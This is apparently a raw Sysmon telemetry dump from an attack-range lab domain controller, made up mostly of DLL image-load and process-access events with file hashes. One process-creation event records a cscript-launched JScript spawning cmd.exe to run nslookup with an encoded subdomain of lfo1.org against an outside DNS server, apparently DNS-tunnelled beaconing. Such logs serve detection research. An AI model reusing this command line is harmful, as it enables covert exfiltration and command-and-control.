734700x800000000000000056668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\profapi.dll10.0.14393.0 (rs1_release.160715-1616)User Profile Basic APIMicrosoft® Windows® Operating SystemMicrosoft CorporationPROFAPI.DLLMD5=0BC84513575743DA177F3DFE18D35CA7,SHA256=C40F6AA73073995E05E5379AE593A6617E8296C79A78BD7F716D95F98AE0D899,IMPHASH=9060609FCB6C4120D4517877408A4A46trueMicrosoft WindowsValid 734700x800000000000000056667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000056666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\shlwapi.dll10.0.14393.4169 (rs1_release.210107-1130)Shell Light-weight Utility LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationSHLWAPI.DLLMD5=F9E249B6BB80C06BA30A61854567796C,SHA256=E5F62CD5D2FE7BE8D4E029ECA004A8773FF8D1F7AB92C115810AD54B5B8F50CA,IMPHASH=9F3DE8492A7F075320A36332ACC9CAAFtrueMicrosoft WindowsValid 734700x800000000000000056665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000056664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000056663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\windows.storage.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft WinRT Storage APIMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Storage.dllMD5=1D7997E3AFC26B85024D33F835E18056,SHA256=B2376967E156D4971FB66059F6367030AF937943D2EBF80AF856E643B6E95BBF,IMPHASH=181A859176420BBB803F246C0E4B0889trueMicrosoft WindowsValid 734700x800000000000000056662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\cfgmgr32.dll10.0.14393.0 (rs1_release.160715-1616)Configuration Manager DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationCFGMGR32.DLLMD5=77BF2979C1A08EBA43C24FE0B7E547BE,SHA256=071E00374806E043A2E78E88C7FDDCE8F5983DE665DF41F3B3210660BF2EF704,IMPHASH=1835EBC72F9ADB09C6FCFABC04AC9C89trueMicrosoft WindowsValid 734700x800000000000000056661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\shell32.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Shell Common DllMicrosoft® Windows® Operating SystemMicrosoft CorporationSHELL32.DLLMD5=837B8644B9CE47EC28152E7D764886E0,SHA256=C5BA64473FB38E6B4592EAFA642AF82715CBC676190985D8D8D4150CE840044F,IMPHASH=2ED99A476E2DEFB78DF894322CB4A549trueMicrosoft WindowsValid 10341000x800000000000000056660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}22801504C:\Windows\system32\conhost.exe{7BD73061-74E9-613B-AB0B-00000000F001}6976C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\SHCore.dll10.0.14393.4169 (rs1_release.210107-1130)SHCOREMicrosoft® Windows® Operating SystemMicrosoft CorporationSHCORE.dllMD5=D287E1BC5A148E2BCB482DBD0E925738,SHA256=1C2428AD170165DD8DE960C835D9AAB5B268300A676FE935B177ED5D2607430D,IMPHASH=3C09BDCE2388320645D7656AE2AC744CtrueMicrosoft WindowsValid 734700x800000000000000056658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000056657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\propsys.dll7.0.14393.4169 (rs1_release.210107-1130)Microsoft Property SystemWindows® SearchMicrosoft Corporationpropsys.dllMD5=013D2BA96C261CDC62ECA7365E1C84D5,SHA256=26896478B6F1AF3756D5B1BB59BF2C6BE1C579B122CC882BAC35FEFB3EC3EE36,IMPHASH=FF25576501EAFD13671A6D5075C4513EtrueMicrosoft WindowsValid 734700x800000000000000056656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000056655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000056654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\imm32.dll10.0.14393.0 (rs1_release.160715-1616)Multi-User Windows IMM32 API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationimm32MD5=E1024CF2E35DD3467F52BC83F7FEDA3F,SHA256=59C87761AD509BD096C2F35257C2370FB94B95160CB63FB9E66DFD8210AB002A,IMPHASH=C852E8FD14D356C81F834E318EEAD7FAtrueMicrosoft WindowsValid 734700x800000000000000056653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000056651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000056650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000056649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000056648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000056647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000056646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.426{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000056645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.411{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\ConhostV2.dll10.0.14393.4583 (rs1_release.210730-1850)Console Window HostMicrosoft® Windows® Operating SystemMicrosoft CorporationCONHOST.EXEMD5=2FB0A16E47FFDD4CBB3E80E58ECD8AE1,SHA256=943949336C9A3707F0A9FFD76A6D20278B6EE72513E8D193D04B27133C36B7C6,IMPHASH=49A59B06FE5B10F21E36B588430BFDB3trueMicrosoft WindowsValid 734700x800000000000000056644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.411{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 10341000x800000000000000056643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.411{7BD73061-6D0B-613B-7F06-00000000F001}36602200C:\Windows\system32\csrss.exe{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 734700x800000000000000056642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.411{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000056641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.411{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000056640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.411{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.411{7BD73061-74E9-613B-AC0B-00000000F001}2280C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe10.0.14393.0 (rs1_release.160715-1616)Console Window HostMicrosoft® Windows® Operating SystemMicrosoft CorporationCONHOST.EXEMD5=D752C96401E2540A443C599154FC6FA9,SHA256=046F7A1B4DE67562547ED9A180A72F481FC41E803DE49A96D7D7C731964D53A0,IMPHASH=2C980A4DA7C717CC670CB9E1D2C4D733trueMicrosoft WindowsValid 734700x800000000000000056638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.411{7BD73061-74E9-613B-AB0B-00000000F001}6976C:\Windows\System32\cmd.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000056637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.411{7BD73061-74E9-613B-AB0B-00000000F001}6976C:\Windows\System32\cmd.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000056636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.411{7BD73061-74E9-613B-AB0B-00000000F001}6976C:\Windows\System32\cmd.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.411{7BD73061-74E9-613B-AB0B-00000000F001}6976C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37AtrueMicrosoft WindowsValid 10341000x800000000000000056634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.411{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.411{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.411{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.411{7BD73061-6D0B-613B-7F06-00000000F001}36602200C:\Windows\system32\csrss.exe{7BD73061-74E9-613B-AB0B-00000000F001}6976C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000056630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.411{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.411{7BD73061-728E-613B-5B0B-00000000F001}10205272C:\Windows\system32\cscript.exe{7BD73061-74E9-613B-AB0B-00000000F001}6976C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\windows.storage.dll+89d2f|C:\Windows\System32\windows.storage.dll+899a5|C:\Windows\System32\windows.storage.dll+89496|C:\Windows\System32\windows.storage.dll+8a908|C:\Windows\System32\windows.storage.dll+892be|C:\Windows\System32\windows.storage.dll+8c0d5|C:\Windows\System32\windows.storage.dll+8c454|C:\Windows\System32\windows.storage.dll+8ba90|C:\Windows\System32\SHELL32.dll+3cd3f|C:\Windows\System32\SHELL32.dll+3cbcc|C:\Windows\System32\SHELL32.dll+dcb6e|C:\Windows\System32\shcore.dll+33fad|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000056628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.414{7BD73061-74E9-613B-AB0B-00000000F001}6976C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.Exe"C:\Windows\system32\cmd.exe" /c nslookup.exe -timeout=5 -retry=3 -type=A fQlL9SOYBrm5CNMpVzkKtoHG_8cJPTh36*e0UEqyRunWFx4DvAX7jgsZ1bIwi2d.apZzbPOt2JqSx8K2ZcsEjTGz7TGTyhKgKVktgVUQ9rKQSrKo9rKolHE8OzqvENj.8yrKSlcXtvNXtvCltvNltvNetvCqFECLtECLfECLBECL_ECKNOzXtvMktvCltvN.lfo1.org 94.103.82.250 > C:\Users\ADMINI~1\AppData\Local\Temp\nlsvqc.tmp 2>&1C:\Users\Public\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.execscript //e:jscript ibivigi.txt 734700x800000000000000056627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.395{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000056626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:25.395{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 